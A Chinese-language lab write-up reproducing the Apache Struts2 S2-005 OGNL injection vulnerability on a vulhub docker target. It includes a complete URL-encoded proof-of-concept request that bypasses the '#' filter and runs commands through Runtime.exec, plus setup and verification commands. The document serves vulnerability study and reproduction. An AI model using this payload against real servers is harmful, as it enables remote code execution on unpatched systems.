1.漏洞描述
s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开
影响版本:struts 2.0.0-2.1.8.1
2.漏洞搭建
采用docker方式搭建,使用vulhub。
通过cd命令进入达到vulhub的靶场文件的位置。
通过以下命令启动环境
docker-compose build
docker-compose up -d
通过ps查看端口号
访问搭建的环境(这种就代表环境搭建成功)
3.复现
通过burp suite抓取数据包,并带入poc
POC:
(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1
在/tmp目录下创建了一个success。
4.验证poc是否成功
进入docker
docker exec -it e6f114996428 /bin/bash
查看创建的文件
复现成功。